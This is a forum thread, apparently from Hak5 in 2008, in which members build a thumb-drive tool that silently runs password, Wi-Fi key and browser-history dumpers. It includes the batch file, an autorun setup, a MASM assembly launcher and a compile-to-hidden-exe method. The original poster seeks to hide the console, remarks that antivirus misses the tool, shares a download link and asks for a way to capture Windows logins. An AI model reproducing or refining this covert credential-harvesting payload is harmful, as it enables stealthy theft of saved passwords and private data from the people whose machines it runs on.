Jump to content


Photo
- - - - -

how do i hide cmd box


  • Please log in to reply
10 replies to this topic

#1 mrgee

mrgee

    Hak5 Fan

  • Members
  • PipPip
  • 24 posts

Posted 29 September 2008 - 04:19 AM

i have put some little apps on my thum drive
iehistoryview
messenpass
passwordfox
iepassview
wirlesskeyview
mozillahistoryview

ive created a launch.bat and an autrorn.inf and it works and does what i want but is the anyway of hiding the cmd box that briefly apears on screen for about 3 secconds ?

these are the command i have in my launch.bat

start WirelessKeyView\WirelessKeyView.exe /shtml WirelessKeyop.html
start PasswordFox\PasswordFox.exe /shtml PasswordFoxop.html
start IEHistoryView\iehv.exe /shtml iehvop.html
start MozillaHistoryView\MozillaHistoryView.exe /shtml MozillaHistoryop.html
start MessenPass\mspass.exe /shtml mspassop.html
start IEPassView\iepv.exe /shtml iepvop.html

i would like the cmd box that is apearing at the moment to be iethere invisible or minimised
hope you can help .thanks

would also like to add an little program that would save windows login and password details if possible ?
thanks

#2 Jen

Jen

    Hak5 Zombie

  • Active Members
  • PipPipPipPipPip
  • 205 posts

Posted 29 September 2008 - 10:52 AM

Why don't you look at the pocketknife's code and figure it out.

#3 mrgee

mrgee

    Hak5 Fan

  • Members
  • PipPip
  • 24 posts

Posted 29 September 2008 - 11:09 AM

QUOTE (Jen @ Mon, 29 Sep 2008 11:52:20 +0000) <{POST_SNAPBACK}>
Why don't you look at the pocketknife's code and figure it out.


already have and sorted it when i read about bat files on another forum thanks

#4 Jen

Jen

    Hak5 Zombie

  • Active Members
  • PipPipPipPipPip
  • 205 posts

Posted 01 October 2008 - 02:45 AM

maybe you should tell us so that we can know too?

#5 mrgee

mrgee

    Hak5 Fan

  • Members
  • PipPip
  • 24 posts

Posted 01 October 2008 - 04:04 PM

QUOTE (Jen @ Mon, 29 Sep 2008 10:52:20 +0000) <{POST_SNAPBACK}>
Why don't you look at the pocketknife's code and figure it out.



considering i didnt know how to create an auto run file let alone a batch file a couple of days ago i have now managed to create
one .exe file with the bellow apps embeded that in one click will collect all the info of all apps silently .
ive named it usb-slave ( dont ask why ) and put it onto portable apps software so whenever i want to run it i just click usb-slave on portable apps and it runs silently apart from wirelesskeyview. thats sets of user acount controll
iehistoryview
messenpass
passwordfox
iepassview
wirlesskeyview
mozillahistoryview


no great feat by a long shot but it does what i want smile.gif

#6 Jen

Jen

    Hak5 Zombie

  • Active Members
  • PipPipPipPipPip
  • 205 posts

Posted 02 October 2008 - 03:24 AM

but doesn't it get detected by avs?

#7 mrgee

mrgee

    Hak5 Fan

  • Members
  • PipPip
  • 24 posts

Posted 02 October 2008 - 10:24 AM

QUOTE (Jen @ Thu, 02 Oct 2008 03:24:43 +0000) <{POST_SNAPBACK}>
but doesn't it get detected by avs?


well my nod32 dont pic it up
heres a link if you want to try it

http://rapidshare.co...-slave.exe.html

whatever folder you run it from is where it will put the results .

you could put it into pstart and select it to auto run .


i dont have it set to autorun as that will overwrite the previous results and i dont know how to make it dump the results into differnt named folders but it works a treat

#8 Steve8x

Steve8x

    Hak5 Zombie

  • Active Members
  • PipPipPipPipPip
  • 181 posts

Posted 02 October 2008 - 01:23 PM

Well even though you solved it. You didn't say how you did it... Anyway here's how I would of done it.

I'm thinking that the apps themselves don't create any windows, the only thing creating the window is the batch file. Correct? either way, its pretty easy to hide any window.

What you could've done, is instead of using a batch file, use a small program which just runs those apps with those parameters.

You can either use ShellExecute, or Winexec...

CODE
HINSTANCE ShellExecute(      
    HWND hwnd,
    LPCTSTR lpOperation,
    LPCTSTR lpFile,
    LPCTSTR lpParameters,
    LPCTSTR lpDirectory,
    INT nShowCmd
);


CODE
UINT WINAPI WinExec(
  __in  LPCSTR lpCmdLine,
  __in  UINT uCmdShow
);


Either one will do the job just fine, and they both allow parameters to be passed, and they both allow for the windows initial state to be passed as well... ex SW_SHOWNORMAL, SW_HIDE, SW_MINIMIZE

use this as a reference to the different parameters you can give:
http://msdn.microsof...y/ms633548.aspx

However if those apps don't create any windows to begin with (which I think is the case) then it doesn't matter what you give the nCmdShow, or uCmdShow since there wont be a window anyway...

I used assembly since there isn't anything to it, might as well get the smallest possible file size...

::runonerunall.asm::
CODE
; いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい
    include \masm32\include\masm32rt.inc
; いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい

    .data
      openstr   db 'open',0
      hInstance dd 0

    .code

; いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい

start:
      invoke GetModuleHandle, 0
      mov hInstance, eax
      call main
      invoke ExitProcess,eax

; いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい

main proc

   ;On apps that DO in fact have windows, specifying different
   ;uncomment and try this line below, with a different param for the 2nd parameter
   ;if you do SW_HIDE, the command window will still exist but wont be seen, you'll have to end task on 'cmd.exe' to get rid of it
   ;if you do SW_MINIMIZE, the window will start minimized, SW_SHOWNORMAL, the window will show normally etc...
    
   ;invoke WinExec, SADD("cmd.exe"), SW_SHOWNORMAL


    invoke WinExec, SADD("WirelessKeyView\WirelessKeyView.exe /shtml WirelessKeyop.html"), SW_SHOWNORMAL
    invoke WinExec, SADD("PasswordFox\PasswordFox.exe /shtml PasswordFoxop.html"), SW_SHOWNORMAL
    invoke WinExec, SADD("IEHistoryView\iehv.exe /shtml iehvop.html"), SW_SHOWNORMAL
    invoke WinExec, SADD("MozillaHistoryView\MozillaHistoryView.exe /shtml MozillaHistoryop.html"), SW_SHOWNORMAL
    invoke WinExec, SADD("MessenPass\mspass.exe /shtml mspassop.html"), SW_SHOWNORMAL
    invoke WinExec, SADD("IEPassView\iepv.exe /shtml iepvop.html"), SW_SHOWNORMAL

   ; <-- comments the rest of the line
   ;invoke ShellExecute, 0, addr openstr, SADD("WirelessKeyView\WirelessKeyView.exe"), SADD("/shtml WirelessKeyop.html"), 0, SW_HIDE
   ;invoke ShellExecute, 0, addr openstr, SADD("PasswordFox\PasswordFox.exe"), SADD("/shtml PasswordFoxop.html"), 0, SW_HIDE
   ;invoke ShellExecute, 0, addr openstr, SADD("IEHistoryView\iehv.exe"), SADD("/shtml iehvop.html"), 0, SW_HIDE
   ;invoke ShellExecute, 0, addr openstr, SADD("MozillaHistoryView\MozillaHistoryView.exe"), SADD("/shtml MozillaHistoryop.html"), 0, SW_HIDE
   ;invoke ShellExecute, 0, addr openstr, SADD("MessenPass\mspass.exe"), SADD("/shtml mspassop.html"), 0, SW_HIDE
   ;invoke ShellExecute, 0, addr openstr, SADD("IEPassView\iepv.exe"), SADD("/shtml iepvop.html"), 0, SW_HIDE
    
    ret

main endp

; いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい

end start


The top line is an app that does create a window for sure, so that's one you can use to see the SW parameters in action

invoke WinExec, SADD("cmd.exe"), SW_SHOWNORMAL

if you uncomment it and change the SW param then re-assemble it, you'll see how it affects how the window is shown on creation...

I used masm32 version 10 to assemble the program
http://www.masm32.com/

source and binary:
http://rapidshare.co...runall.zip.html

If you want to play around with it, after installing masm32 v10 (if you don't already have it) just create a folder within the masm32 directory (x:\masm32\) called "projects" or something like that, then drop the runonerunall folder within it. Opening runonerunall.asm with qeditor, make your changes and goto Project->Assemble & Link to assemble the new exe with your changes!

2.5KB wink.gif

#9 mrgee

mrgee

    Hak5 Fan

  • Members
  • PipPip
  • 24 posts

Posted 02 October 2008 - 01:46 PM

steve this is what ive have

a have a batchfile listed bellow

@echo off
start WirelessKeyView\WirelessKeyView.exe /shtml WirelessKeyop.html
start PasswordFox\PasswordFox.exe /shtml PasswordFoxop.html
start IEHistoryView\iehv.exe /shtml iehvop.html
start MozillaHistoryView\MozillaHistoryView.exe /shtml MozillaHistoryop.html
start MessenPass\mspass.exe /shtml mspassop.html
start IEPassView\iepv.exe /shtml iepvop.html


then i just used a batch complier added the the batch file to the compiler and embedded the files listed above and made a ghost .exe so when you click it it will run invisible

if you need more info ill try do it again but more detailed

#10 403f0rb1dd3n

403f0rb1dd3n

    Hackling

  • Members
  • Pip
  • 14 posts
  • Gender:Male

Posted 03 October 2008 - 04:15 PM

use this hideconsole program, that will hide it. double click it for instructions. it is included with the pocketknife.

Attached Files



#11 mrgee

mrgee

    Hak5 Fan

  • Members
  • PipPip
  • 24 posts

Posted 04 October 2008 - 03:17 AM

thanks for that




0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users